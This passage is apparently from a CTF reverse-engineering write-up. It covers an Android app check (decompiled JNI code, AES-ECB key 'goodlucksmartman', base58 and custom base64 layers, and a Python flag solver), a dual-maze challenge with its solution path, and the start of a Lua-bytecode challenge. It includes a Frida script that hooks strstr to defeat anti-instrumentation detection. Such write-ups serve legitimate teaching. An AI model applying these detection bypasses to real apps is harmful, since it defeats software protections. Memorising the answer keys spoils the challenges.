                            Interceptor.attach(Java_com_ctf_CheckYourKey_MainActivity_ooxx, {
                                onEnter: function (args) {
                                    console.warn("go into Java_com_ctf_CheckYourKey_MainActivity_ooxx");
                                }, onLeave: function (retval) {
                                    console.warn("leave Java_com_ctf_CheckYourKey_MainActivity_ooxx");
                                }
                            })
                        }

                    }
                    // hook代码在这加
                }
            },
            onLeave: function (retval) {
            }
        })
    }


}

function hooklibc() {
    var libcmodule = Process.getModuleByName("libc.so");
    var strstraddr = libcmodule.getExportByName("strstr");
    Interceptor.attach(strstraddr, {
            onEnter: function (args) {
                this.arg0 = ptr(args[0]).readUtf8String();
                this.arg1 = ptr(args[1]).readUtf8String();
            }, onLeave: function (retval) {
                //LogPrint("strstr(" + this.arg0 + "," + this.arg1);
                if (this.arg0.indexOf("frida") != -1) {
                    retval.replace(0x0);
                }
                if (this.arg1.indexOf("gum-js-loop") != -1 || this.arg1.indexOf("gmain") != -1) {
                    retval.replace(0x0);
                }
                //linjector
                if (this.arg1.indexOf("linjector") != -1) {
                    retval.replace(0x0);
                }
            }
        }
    )
}

function main() {
    hook_constructor();
    hooklibc();
}

setImmediate(main)

After entering the app interface, input a few strings at will, and you will find that console.warn(“go into Java_com_ctf_CheckYourKey_MainActivity_ooxx”) is not printed normally. So the jni function is not bound here. Go back and look at JNI_OnLoad after f5. You can quickly locate the dynamic registration of the jni function in this function, the function is sub_8965,

主界面

At this point, modify the frida code, hook the sub_8965 function, click check on the input content, and successfully enter the function logic, so this function is the address to which the ooxx function is finally bound. Next, focus on analyzing the function logic.

The following is the code after the function f5, which also contains the feature detection of frida,

bool __fastcall sub_8965(__int64 a1, __int64 a2, __int64 a3)
{
  signed __int64 v3; // x0
  signed __int64 v4; // x0
  char *s1; // [xsp+160h] [xbp-A50h]
  size_t v7; // [xsp+16Ch] [xbp-A44h]
  char *v8; // [xsp+170h] [xbp-A40h]
  _QWORD *v9; // [xsp+198h] [xbp-A18h]
  __int64 v10; // [xsp+1A8h] [xbp-A08h]
  bool v13; // [xsp+1CCh] [xbp-9E4h]
  unsigned int v14; // [xsp+1E4h] [xbp-9CCh]
  int v15; // [xsp+1F4h] [xbp-9BCh]
  unsigned int fd; // [xsp+2ACh] [xbp-904h]
  struct dirent *v17; // [xsp+2B0h] [xbp-900h]
  DIR *v18; // [xsp+2B8h] [xbp-8F8h]
  struct dirent *v19; // [xsp+370h] [xbp-840h]
  DIR *v20; // [xsp+378h] [xbp-838h]
  unsigned int v21; // [xsp+424h] [xbp-78Ch]
  int v22; // [xsp+434h] [xbp-77Ch]
  unsigned int v23; // [xsp+4ECh] [xbp-6C4h]
  struct dirent *v24; // [xsp+4F0h] [xbp-6C0h]
  DIR *v25; // [xsp+4F8h] [xbp-6B8h]
  struct dirent *v26; // [xsp+5B0h] [xbp-600h]
  DIR *v27; // [xsp+5B8h] [xbp-5F8h]
  unsigned __int64 v28; // [xsp+658h] [xbp-558h] BYREF
  unsigned __int8 *v29; // [xsp+660h] [xbp-550h] BYREF
  __int64 v30; // [xsp+668h] [xbp-548h] BYREF
  char v31[16]; // [xsp+670h] [xbp-540h] BYREF
  int v32; // [xsp+680h] [xbp-530h]
  unsigned __int64 v33; // [xsp+6F0h] [xbp-4C0h] BYREF
  unsigned __int8 *v34; // [xsp+6F8h] [xbp-4B8h] BYREF
  __int64 v35; // [xsp+700h] [xbp-4B0h] BYREF
  char v36[16]; // [xsp+708h] [xbp-4A8h] BYREF
  int v37; // [xsp+718h] [xbp-498h]
  int v38; // [xsp+788h] [xbp-428h] BYREF
  char v39; // [xsp+78Ch] [xbp-424h]
  char s[512]; // [xsp+790h] [xbp-420h] BYREF
  __int128 v41; // [xsp+990h] [xbp-220h] BYREF
  __int128 v42; // [xsp+9A0h] [xbp-210h]
  __int128 v43; // [xsp+9B0h] [xbp-200h]
  __int128 v44; // [xsp+9C0h] [xbp-1F0h]
  __int128 v45; // [xsp+9D0h] [xbp-1E0h]
  __int128 v46; // [xsp+9E0h] [xbp-1D0h]
  __int128 v47; // [xsp+9F0h] [xbp-1C0h]
  __int128 v48; // [xsp+A00h] [xbp-1B0h]
  __int128 v49; // [xsp+A10h] [xbp-1A0h]
  __int128 v50; // [xsp+A20h] [xbp-190h]
  __int128 v51; // [xsp+A30h] [xbp-180h]
  __int128 v52; // [xsp+A40h] [xbp-170h]
  __int128 v53; // [xsp+A50h] [xbp-160h]
  __int128 v54; // [xsp+A60h] [xbp-150h]
  __int128 v55; // [xsp+A70h] [xbp-140h]
  __int128 v56; // [xsp+A80h] [xbp-130h]
  __int128 v57; // [xsp+A90h] [xbp-120h] BYREF
  __int128 v58; // [xsp+AA0h] [xbp-110h]
  __int128 v59; // [xsp+AB0h] [xbp-100h]
  __int128 v60; // [xsp+AC0h] [xbp-F0h]
  __int128 v61; // [xsp+AD0h] [xbp-E0h]
  __int128 v62; // [xsp+AE0h] [xbp-D0h]
  __int128 v63; // [xsp+AF0h] [xbp-C0h]
  __int128 v64; // [xsp+B00h] [xbp-B0h]
  __int128 v65; // [xsp+B10h] [xbp-A0h]
  __int128 v66; // [xsp+B20h] [xbp-90h]
  __int128 v67; // [xsp+B30h] [xbp-80h]
  __int128 v68; // [xsp+B40h] [xbp-70h]
  __int128 v69; // [xsp+B50h] [xbp-60h]
  __int128 v70; // [xsp+B60h] [xbp-50h]
  __int128 v71; // [xsp+B70h] [xbp-40h]
  __int128 v72; // [xsp+B80h] [xbp-30h]
  __int64 v73; // [xsp+B98h] [xbp-18h]

  v73 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  v14 = strlen(byte_41088);
  v15 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
  if ( v15 >= 1 )
  {
    while ( (int)my_read(v15, s, 0x200u) >= 1 )
    {
      if ( strstr(s, a3Z) )
        dword_0 = 100;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      v50 = 0u;
      v49 = 0u;
      v48 = 0u;
      v47 = 0u;
      v46 = 0u;
      v45 = 0u;
      v44 = 0u;
      v43 = 0u;
      v42 = 0u;
      v41 = 0u;
      v39 = 0;
      v38 = 0;
      if ( sscanf(s, byte_410B0, &v29, &v28, &v38, &v30, &v41) == 5
        && (unsigned __int8)v38 == 114
        && HIBYTE(v38) == 112
        && !v30
        && strlen((const char *)&v41)
        && (unsigned __int8)v41 != 91
        && v28 - (unsigned __int64)v29 > 0xF4240
        && !sub_11AC8((const char *)&v41, aDJ)
        && strstr((const char *)&v41, aZ) != (char *)&v41
        && (unsigned int)sub_116D0(v29, v28, (unsigned __int8 *)byte_41088, v14) == 1 )
      {
        dword_0 = 100;
        break;
      }
    }
  }
  v18 = opendir((const char *)off_41050);
  if ( v18 )
  {
    while ( 1 )
    {
      v17 = readdir(v18);
      if ( !v17 )
        break;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      v50 = 0u;
      v49 = 0u;
      v48 = 0u;
      v47 = 0u;
      v46 = 0u;
      v45 = 0u;
      v44 = 0u;
      v43 = 0u;
      v42 = 0u;
      v41 = 0u;
      if ( strcmp(v17->d_name, byte_410DC) )
      {
        if ( strcmp(v17->d_name, byte_410E0) )
        {
          snprintf((char *)&v41, 0x100u, (const char *)off_41058, v17->d_name);
          fd = linux_eabi_syscall(__NR_openat, -100, (const char *)&v41, 0x80000);
          if ( fd )
          {
            v72 = 0u;
            v71 = 0u;
            v70 = 0u;
            v69 = 0u;
            v68 = 0u;
            v67 = 0u;
            v66 = 0u;
            v65 = 0u;
            v64 = 0u;
            v63 = 0u;
            v62 = 0u;
            v61 = 0u;
            v60 = 0u;
            v59 = 0u;
            v58 = 0u;
            v57 = 0u;
            sub_11F14(fd, &v57, 256LL, 0LL);
            if ( strstr((const char *)&v57, (const char *)off_41060)
              || strstr((const char *)&v57, (const char *)off_41068) )
            {
              dword_0 = 100;
            }
            close(fd);
          }
        }
      }
    }
    closedir(v18);
  }
  v20 = opendir(off_41070);
  if ( v20 )
  {
    while ( 1 )
    {
      v19 = readdir(v20);
      if ( !v19 )
        break;
      v56 = 0u;
      v55 = 0u;
      v54 = 0u;
      v53 = 0u;
      v52 = 0u;
      v51 = 0u;
      v50 = 0u;
      v49 = 0u;
      v48 = 0u;
      v47 = 0u;
      v46 = 0u;
      v45 = 0u;
      v44 = 0u;
      v43 = 0u;
      v42 = 0u;
      v41 = 0u;
      v72 = 0u;
      v71 = 0u;
      v70 = 0u;
      v69 = 0u;
      v68 = 0u;
      v67 = 0u;
      v66 = 0u;
      v65 = 0u;
      v64 = 0u;
      v63 = 0u;
      v62 = 0u;
      v61 = 0u;
      v60 = 0u;
      v59 = 0u;
      v58 = 0u;
      v57 = 0u;
      snprintf((char *)&v57, 0x100u, byte_410F0, v19->d_name);
      lstat((const char *)&v57, (struct stat *)v31);
      if ( (v32 & 0xF000) == 40960 )
      {
        v3 = (signed __int64)linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v57, (char *)&v41, 0x100u);
        if ( strstr((const char *)&v41, (const char *)off_41078) )
          dword_0 = 100;
      }
    }
  }
  closedir(v20);
  if ( a3 && (unsigned int)sub_16254(a1, a3) == 16 )
  {
    v10 = sub_14F70(a1, a3, 0LL);
    v9 = (_QWORD *)operator new[](0x10uLL);
    v9[1] = 0LL;
    *v9 = 0LL;
    sub_FB40(v10, &unk_41140, v9);
    v8 = (char *)sub_F7DC(v9, 16LL);
    v7 = strlen(v8);
    s1 = (char *)malloc(2 * v7);
    memset(s1, 0, 2 * v7);
    sub_13788(v8, v7, s1);
    v21 = strlen(byte_41088);
    v22 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
    if ( v22 >= 1 )
    {
      while ( (int)my_read(v22, s, 0x200u) >= 1 )
      {
        if ( strstr(s, a3Z) )
          dword_0 = 100;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v50 = 0u;
        v49 = 0u;
        v48 = 0u;
        v47 = 0u;
        v46 = 0u;
        v45 = 0u;
        v44 = 0u;
        v43 = 0u;
        v42 = 0u;
        v41 = 0u;
        v39 = 0;
        v38 = 0;
        if ( sscanf(s, byte_410B0, &v34, &v33, &v38, &v35, &v41) == 5
          && (unsigned __int8)v38 == 114
          && HIBYTE(v38) == 112
          && !v35
          && strlen((const char *)&v41)
          && (unsigned __int8)v41 != 91
          && v33 - (unsigned __int64)v34 > 0xF4240
          && !sub_11AC8((const char *)&v41, aDJ)
          && strstr((const char *)&v41, aZ) != (char *)&v41
          && (unsigned int)sub_116D0(v34, v33, (unsigned __int8 *)byte_41088, v21) == 1 )
        {
          dword_0 = 100;
          break;
        }
      }
    }
    v25 = opendir((const char *)off_41050);
    if ( v25 )
    {
      while ( 1 )
      {
        v24 = readdir(v25);
        if ( !v24 )
          break;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v50 = 0u;
        v49 = 0u;
        v48 = 0u;
        v47 = 0u;
        v46 = 0u;
        v45 = 0u;
        v44 = 0u;
        v43 = 0u;
        v42 = 0u;
        v41 = 0u;
        if ( strcmp(v24->d_name, byte_410DC) )
        {
          if ( strcmp(v24->d_name, byte_410E0) )
          {
            snprintf((char *)&v41, 0x100u, (const char *)off_41058, v24->d_name);
            v23 = linux_eabi_syscall(__NR_openat, -100, (const char *)&v41, 0x80000);
            if ( v23 )
            {
              v72 = 0u;
              v71 = 0u;
              v70 = 0u;
              v69 = 0u;
              v68 = 0u;
              v67 = 0u;
              v66 = 0u;
              v65 = 0u;
              v64 = 0u;
              v63 = 0u;
              v62 = 0u;
              v61 = 0u;
              v60 = 0u;
              v59 = 0u;
              v58 = 0u;
              v57 = 0u;
              sub_11F14(v23, &v57, 256LL, 0LL);
              if ( strstr((const char *)&v57, (const char *)off_41060)
                || strstr((const char *)&v57, (const char *)off_41068) )
              {
                dword_0 = 100;
              }
              close(v23);
            }
          }
        }
      }
      closedir(v25);
    }
    v27 = opendir(off_41070);
    if ( v27 )
    {
      while ( 1 )
      {
        v26 = readdir(v27);
        if ( !v26 )
          break;
        v56 = 0u;
        v55 = 0u;
        v54 = 0u;
        v53 = 0u;
        v52 = 0u;
        v51 = 0u;
        v50 = 0u;
        v49 = 0u;
        v48 = 0u;
        v47 = 0u;
        v46 = 0u;
        v45 = 0u;
        v44 = 0u;
        v43 = 0u;
        v42 = 0u;
        v41 = 0u;
        v72 = 0u;
        v71 = 0u;
        v70 = 0u;
        v69 = 0u;
        v68 = 0u;
        v67 = 0u;
        v66 = 0u;
        v65 = 0u;
        v64 = 0u;
        v63 = 0u;
        v62 = 0u;
        v61 = 0u;
        v60 = 0u;
        v59 = 0u;
        v58 = 0u;
        v57 = 0u;
        snprintf((char *)&v57, 0x100u, byte_410F0, v26->d_name);
        lstat((const char *)&v57, (struct stat *)v36);
        if ( (v37 & 0xF000) == 40960 )
        {
          v4 = (signed __int64)linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v57, (char *)&v41, 0x100u);
          if ( strstr((const char *)&v41, (const char *)off_41078) )
            dword_0 = 100;
        }
      }
    }
    closedir(v27);
    v13 = strcmp(s1, a631) == 0;
  }
  else
  {
    v13 = 0;
  }
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return v13;
}

After eliminating the code related to firda feature detection in this function, the real logic of this function can be obtained as follows:

bool __fastcall sub_8965(__int64 env, __int64 a2, __int64 content_jstring)
{
  signed __int64 v3; // x0
  signed __int64 v4; // x0
  char *s1; // [xsp+160h] [xbp-A50h]
  size_t v7; // [xsp+16Ch] [xbp-A44h]
  char *v8; // [xsp+170h] [xbp-A40h]
  _QWORD *v9; // [xsp+198h] [xbp-A18h]
  __int64 v10; // [xsp+1A8h] [xbp-A08h]
  bool v13; // [xsp+1CCh] [xbp-9E4h]
  unsigned int v14; // [xsp+1E4h] [xbp-9CCh]
  int v15; // [xsp+1F4h] [xbp-9BCh]
  unsigned int fd; // [xsp+2ACh] [xbp-904h]
  struct dirent *v17; // [xsp+2B0h] [xbp-900h]
  DIR *v18; // [xsp+2B8h] [xbp-8F8h]
  struct dirent *v19; // [xsp+370h] [xbp-840h]
  DIR *v20; // [xsp+378h] [xbp-838h]
  unsigned int v21; // [xsp+424h] [xbp-78Ch]
  int v22; // [xsp+434h] [xbp-77Ch]
  unsigned int v23; // [xsp+4ECh] [xbp-6C4h]
  struct dirent *v24; // [xsp+4F0h] [xbp-6C0h]
  DIR *v25; // [xsp+4F8h] [xbp-6B8h]
  struct dirent *v26; // [xsp+5B0h] [xbp-600h]
  DIR *v27; // [xsp+5B8h] [xbp-5F8h]
  unsigned __int64 v28; // [xsp+658h] [xbp-558h] BYREF
  unsigned __int8 *v29; // [xsp+660h] [xbp-550h] BYREF
  __int64 v30; // [xsp+668h] [xbp-548h] BYREF
  char v31[16]; // [xsp+670h] [xbp-540h] BYREF
  int v32; // [xsp+680h] [xbp-530h]
  unsigned __int64 v33; // [xsp+6F0h] [xbp-4C0h] BYREF
  unsigned __int8 *v34; // [xsp+6F8h] [xbp-4B8h] BYREF
  __int64 v35; // [xsp+700h] [xbp-4B0h] BYREF
  char v36[16]; // [xsp+708h] [xbp-4A8h] BYREF
  int v37; // [xsp+718h] [xbp-498h]
  int v38; // [xsp+788h] [xbp-428h] BYREF
  char v39; // [xsp+78Ch] [xbp-424h]
  char s[512]; // [xsp+790h] [xbp-420h] BYREF
  __int128 v41; // [xsp+990h] [xbp-220h] BYREF
  __int128 v42; // [xsp+9A0h] [xbp-210h]
  __int128 v43; // [xsp+9B0h] [xbp-200h]
  __int128 v44; // [xsp+9C0h] [xbp-1F0h]
  __int128 v45; // [xsp+9D0h] [xbp-1E0h]
  __int128 v46; // [xsp+9E0h] [xbp-1D0h]
  __int128 v47; // [xsp+9F0h] [xbp-1C0h]
  __int128 v48; // [xsp+A00h] [xbp-1B0h]
  __int128 v49; // [xsp+A10h] [xbp-1A0h]
  __int128 v50; // [xsp+A20h] [xbp-190h]
  __int128 v51; // [xsp+A30h] [xbp-180h]
  __int128 v52; // [xsp+A40h] [xbp-170h]
  __int128 v53; // [xsp+A50h] [xbp-160h]
  __int128 v54; // [xsp+A60h] [xbp-150h]
  __int128 v55; // [xsp+A70h] [xbp-140h]
  __int128 v56; // [xsp+A80h] [xbp-130h]
  __int128 v57; // [xsp+A90h] [xbp-120h] BYREF
  __int128 v58; // [xsp+AA0h] [xbp-110h]
  __int128 v59; // [xsp+AB0h] [xbp-100h]
  __int128 v60; // [xsp+AC0h] [xbp-F0h]
  __int128 v61; // [xsp+AD0h] [xbp-E0h]
  __int128 v62; // [xsp+AE0h] [xbp-D0h]
  __int128 v63; // [xsp+AF0h] [xbp-C0h]
  __int128 v64; // [xsp+B00h] [xbp-B0h]
  __int128 v65; // [xsp+B10h] [xbp-A0h]
  __int128 v66; // [xsp+B20h] [xbp-90h]
  __int128 v67; // [xsp+B30h] [xbp-80h]
  __int128 v68; // [xsp+B40h] [xbp-70h]
  __int128 v69; // [xsp+B50h] [xbp-60h]
  __int128 v70; // [xsp+B60h] [xbp-50h]
  __int128 v71; // [xsp+B70h] [xbp-40h]
  __int128 v72; // [xsp+B80h] [xbp-30h]
  __int64 v73; // [xsp+B98h] [xbp-18h]

  v73 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  if ( content_jstring && (unsigned int)sub_16254(env, content_jstring) == 16 )
  {
    v10 = GetStringUtfChars(env, content_jstring, 0LL);
    v9 = (_QWORD *)operator new[](0x10uLL);
    v9[1] = 0LL;
    *v9 = 0LL;
    sub_FB40(v10, &unk_41140, v9);
    v8 = (char *)sub_F7DC(v9, 16LL);
    v7 = strlen(v8);
    s1 = (char *)malloc(2 * v7);
    memset(s1, 0, 2 * v7);
    sub_13788(v8, v7, s1);
    v13 = strcmp(s1, a631) == 0;
  }
  else
  {
    v13 = 0;
  }
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return v13;
}

It can be seen that the function first judges the length of the input jstring to determine whether it is 16. and then calls the sub_FB40 function to encrypt the input 16 characters. The figure below shows the AES encryption algorithm recognized by the FindCrypt plug-in of ida.

Combined with the frida script to hook the parameters and return value of this function, it can be quickly concluded that the function is AES encryption for the input 16-byte content, the encryption mode is ECB mode, and the second parameter is the key, and the key is goodlucksmartman.
The third parameter is the encrypted cipher text, and then call the sub_F7DC function to recalculate the AES-encrypted cipher text, the following is the f5 code of the sub_F7DC function:

unsigned __int8 *__fastcall sub_F7DC(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v2; // x11
  __int64 v3; // x10
  bool v5; // [xsp+18h] [xbp-78h]
  unsigned __int64 v6; // [xsp+30h] [xbp-60h]
  div_t v7; // [xsp+38h] [xbp-58h]
  unsigned __int64 v8; // [xsp+40h] [xbp-50h]
  unsigned __int64 v9; // [xsp+48h] [xbp-48h]
  int v10; // [xsp+54h] [xbp-3Ch]
  unsigned __int64 v11; // [xsp+58h] [xbp-38h]
  unsigned __int64 j; // [xsp+60h] [xbp-30h]
  unsigned __int64 v13; // [xsp+60h] [xbp-30h]
  unsigned __int8 *v14; // [xsp+68h] [xbp-28h]
  unsigned __int64 i; // [xsp+78h] [xbp-18h]

  for ( i = 0LL; !*(_BYTE *)(a1 + i); ++i )
    ;
  v14 = (unsigned __int8 *)malloc((unsigned int)(138 * a2 / 0x64) + 2);
  memset(v14, 0, 138 * a2 / 0x64 + 2);
  for ( j = 0LL; j < i; ++j )
  {
    v2 = j;
    v14[v2] = *(_BYTE *)off_41008;
  }
  v11 = 0LL;
  while ( j < a2 )
  {
    v3 = j++;
    v10 = *(unsigned __int8 *)(a1 + v3);
    v9 = 0LL;
    v8 = 138 * a2 / 0x64 + 1;
    while ( 1 )
    {
      if ( v10 || (v5 = 0, v9 < v11) )
        v5 = v8 != 0;
      if ( !v5 )
        break;
      v7 = div(v10 + (v14[--v8] << 8), 58);
      v14[v8] = v7.rem;
      v10 = LOBYTE(v7.quot);
      ++v9;
    }
    v11 = v9;
  }
  v13 = i;
  v6 = 138 * a2 / 0x64 + 1 - v11 - i;
  while ( v13 < i + v11 )
  {
    v14[v13] = *((_BYTE *)off_41008 + v14[v13 + v6]);
    ++v13;
  }
  if ( v6 )
    v14[v13] = 0;
  return v14;
}

By reversing this function, it can be found that there are several typical constants such as 58 and 138 in this function. At the same time, combined with the above table lookup operation and writing a frida hook script for verification, you can find that this function performs base58 encoding on the encrypted 16-byte ciphertext. The return value is the encoded string,

Next, the sub_13788 function is called again to calculate the base58-encoded string again, and the third parameter is finally compared with another string by calling the strcmp function. When the result returns 0, the jni function finally returns 1, and the sub_13788 function The code after f5 is as follows:

__int64 __fastcall sub_13788(__int64 a1, unsigned int a2, __int64 a3)
{
  __int64 v3; // x13
  __int64 v4; // x14
  __int64 v5; // x16
  __int64 v6; // x16
  __int64 v7; // x13
  __int64 v8; // x13
  __int64 v9; // x13
  __int64 v10; // x13
  __int64 v11; // x13
  unsigned __int8 v13; // [xsp+2Ah] [xbp-26h]
  unsigned __int8 v14; // [xsp+2Bh] [xbp-25h]
  unsigned int v15; // [xsp+2Ch] [xbp-24h]
  unsigned int v16; // [xsp+2Ch] [xbp-24h]
  unsigned int v17; // [xsp+2Ch] [xbp-24h]
  unsigned int v18; // [xsp+2Ch] [xbp-24h]
  unsigned int i; // [xsp+30h] [xbp-20h]
  int v20; // [xsp+34h] [xbp-1Ch]

  v20 = 0;
  v13 = 0;
  v15 = 0;
  for ( i = 0; i < a2; ++i )
  {
    v14 = *(_BYTE *)(a1 + i);
    if ( v20 )
    {
      if ( v20 == 1 )
      {
        v20 = 2;
        v4 = v15++;
        *(_BYTE *)(a3 + v4) = byte_33F0F[(16 * (v13 & 3)) | ((int)v14 >> 4) & 0xF];
      }
      else
      {
        v20 = 0;
        v5 = v15;
        v16 = v15 + 1;
        *(_BYTE *)(a3 + v5) = byte_33F0F[(4 * (v13 & 0xF)) | ((int)v14 >> 6) & 3];
        v6 = v16;
        v15 = v16 + 1;
        *(_BYTE *)(a3 + v6) = byte_33F0F[v14 & 0x3F];
      }
    }
    else
    {
      v20 = 1;
      v3 = v15++;
      *(_BYTE *)(a3 + v3) = byte_33F0F[((int)v14 >> 2) & 0x3F];
    }
    v13 = v14;
  }
  if ( v20 == 1 )
  {
    v7 = v15;
    v17 = v15 + 1;
    *(_BYTE *)(a3 + v7) = byte_33F0F[16 * (v13 & 3)];
    v8 = v17++;
    *(_BYTE *)(a3 + v8) = 61;
    v9 = v17;
    v15 = v17 + 1;
    *(_BYTE *)(a3 + v9) = 61;
  }
  else if ( v20 == 2 )
  {
    v10 = v15;
    v18 = v15 + 1;
    *(_BYTE *)(a3 + v10) = byte_33F0F[4 * (v13 & 0xF)];
    v11 = v18;
    v15 = v18 + 1;
    *(_BYTE *)(a3 + v11) = 61;
  }
  *(_BYTE *)(a3 + v15) = 0;
  return v15;
}

Reverse the function, and write frida code to observe the parameters when the function is called and the returned result 1, you can quickly determine that the function is a base64 encoding algorithm, and the encoding table is the content saved in byte_33F0F. The encoding table is as follows:

.rodata:0000000000033F0F 2B 2F 45 46+byte_33F0F      DCB 0x2B, 0x2F, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B
.rodata:0000000000033F0F 47 48 49 4A+                                        ; DATA XREF: sub_13788+8↑o
.rodata:0000000000033F0F 4B 4C 4D 4E+                DCB 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54
.rodata:0000000000033F0F 4F 50 51 52+                DCB 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x61, 0x62, 0x63
.rodata:0000000000033F0F 53 54 55 56+                DCB 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C
.rodata:0000000000033F0F 57 58 59 5A+                DCB 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75
.rodata:0000000000033F0F 61 62 63 64+                DCB 0x76, 0x77, 0x78, 0x79, 0x7A, 0x30, 0x31, 0x32, 0x33
.rodata:0000000000033F0F 65 66 67 68+                DCB 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x41, 0x42, 0x43
.rodata:0000000000033F0F 69 6A 6B 6C+                DCB 0x44

It can be found that the base64 encoding table here has modified the standard encoding table, and the modified encoding table is “+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD”.

Therefore, the verification logic of the jni function is to use goodlucksmartman as the key to encrypt the string with an input length of 16 in AES128 and ECB mode, then perform base58 encoding on the cipher text, and finally use the modified base64 encoding table for the base58 encoding result Encode again and finally compare with SVTsfWzSYGPWdYXodVbvbni6doHzSi==.

4

import string
from Crypto.Cipher import AES
base64_charset = "+/EFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789ABCD="
def encode(origin_bytes):
    base64_bytes = ['{:0>8}'.format(str(bin(b)).replace('0b', '')) for b in origin_bytes]
    resp = ''
    nums = len(base64_bytes) // 3
    remain = len(base64_bytes) % 3

    integral_part = base64_bytes[0:3 * nums]
    while integral_part:
        tmp_unit = ''.join(integral_part[0:3])
        tmp_unit = [int(tmp_unit[x: x + 6], 2) for x in [0, 6, 12, 18]]
        resp += ''.join([base64_charset[i] for i in tmp_unit])
        integral_part = integral_part[3:]

    if remain:
        remain_part = ''.join(base64_bytes[3 * nums:]) + (3 - remain) * '0' * 8
        tmp_unit = [int(remain_part[x: x + 6], 2) for x in [0, 6, 12, 18]][:remain + 1]
        resp += ''.join([base64_charset[i] for i in tmp_unit]) + (3 - remain) * '='

    return resp
def decode(base64_str):
    base64_bytes = ['{:0>6}'.format(str(bin(base64_charset.index(s))).replace('0b', '')) for s in base64_str if
                    s != '=']
    resp = bytearray()
    nums = len(base64_bytes) // 4
    remain = len(base64_bytes) % 4
    integral_part = base64_bytes[0:4 * nums]

    while integral_part:
        tmp_unit = ''.join(integral_part[0:4])
        tmp_unit = [int(tmp_unit[x: x + 8], 2) for x in [0, 8, 16]]
        for i in tmp_unit:
            resp.append(i)
        integral_part = integral_part[4:]

    if remain:
        remain_part = ''.join(base64_bytes[nums * 4:])
        tmp_unit = [int(remain_part[i * 8:(i + 1) * 8], 2) for i in range(remain - 1)]
        for i in tmp_unit:
            resp.append(i)

    return resp
def base58_decode(cipher_input):
    base58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz"
    cipher = cipher_input
    tmp = []
    for item in cipher:
        tmp.append(base58.find(item))
    temp = tmp[0]
    for i in range(len(tmp) - 1):
        temp = temp * 58 + tmp[i + 1]
    temp = bin(temp).replace('0b', '')
    remainder = len(temp) % 8
    plain_text = ''

    if remainder != 0:
        temp_start = temp[0:remainder]
        plain_text = chr(int(temp[0:remainder], 2))

    for i in range(remainder, len(temp), 8):
        #    print(chr(int((temp[i:i+8]), 2)))
        plain_text += chr(int((temp[i:i + 8]), 2))
        i += 8
    return plain_text
def getflag(cipher):
    bytes=decode(cipher)
    #A4juLPXCTmefm6mfX8naqB
    import base58
    content = base58.b58decode(bytes)
    print(content)
    #b'Ig\xeb2\x9d\x05a\xda\xdb\x07\xd7Z\xb9\x01\xb2F'
    password = b'goodlucksmartman'
    content=b'Ig\xeb2\x9d\x05a\xda\xdb\x07\xd7Z\xb9\x01\xb2F'
    aes = AES.new(password, AES.MODE_ECB)
    flag = aes.decrypt(content)
    print("flag:", flag)
if __name__ == '__main__':
    cipher="SVTsfWzSYGPWdYXodVbvbni6doHzSi=="
    getflag(cipher)

huowang

design ideas

The challenge implements two mazes, one is written directly in the program in the form of novice exercises, and the other is written in the unicorn code by gradually solving the space. Players need to enter a path that can walk out of two mazes at the same time.

solving ideas

The external maze can be directly dumped, and the internal maze can analyze and solve the room method, which is an XOR of the code segment. A script can be constructed to restore all the rooms and get the second maze. Then you can write a script to solve a shortest public path. I will not write scripts if I am lazy here. The picture below shows two mazes.

script

Here are two mazes

* *********************
* *     *       *     *
* * * * *** * *** * * *
*   * *     * *   * * *
* * * ********* * *** *
* * *     *     * *   *
* * ***** * * ***** * *
*   * *   *         * *
*** * * *** * *** *** *
*   * *   * * *   *   *
* *** *** * * *   *** *
*   * *   * * *     * *
* * * * *** * ***** * *
* *   *         *   * *
* *********** *** * * *
*   *     *       * * *
* ********* ********* *
*   ** ***  *       * *
*   * **** ** ***** * *
*   * *  *    *     * *
* * * * * ***** ***** *
*       *     *       *
********************* *
* *********************
*       *       *     *
* * * * *** * *** * * *
*   * *     * *   * * *
* * * ********* * *** *
* * *     *     * *   *
* * ***** * * ***** * *
*   * *   * *   *   * *
*** * * *** * *** *****
*   * *     * *   *   *
* *** ***   *   ***** *
*   * *   * * *     * *
* * * * *** * ***** * *
* *   *     *   *   ***
* *************** * ***
*         *       * * *
* ********* ******* * *
*   ******  *       * *
*** * **** ** ***** ***
* * * *  *    *     * *
* * * * * ***** ***** *
*   *   *     *       *
********************* *

The mazes are not big and can be solved by hand.

sssddwwddssssddddssaassddssaassddddwwwwwwwwddddwwddwwddddssssaassaassaassddddssaassaaaaaassassdddwwddddddssaaaassdddddds

picStore(re)

introduction to challenge

It is a menu challenge, with five options and five functions, as follows:

1

Main function: Use the lowest bit of RBG data in bmp pictures to realize concealed data transmission.

Reverse difficulty

I modified the storage method of several types of basic data in the lua source code, resulting in the inability to decompile and disassemble normally, as follows:

static void DumpByte (int y, DumpState *D) {
  lu_byte x = (lu_byte)y;

  //modify_start
  int i;
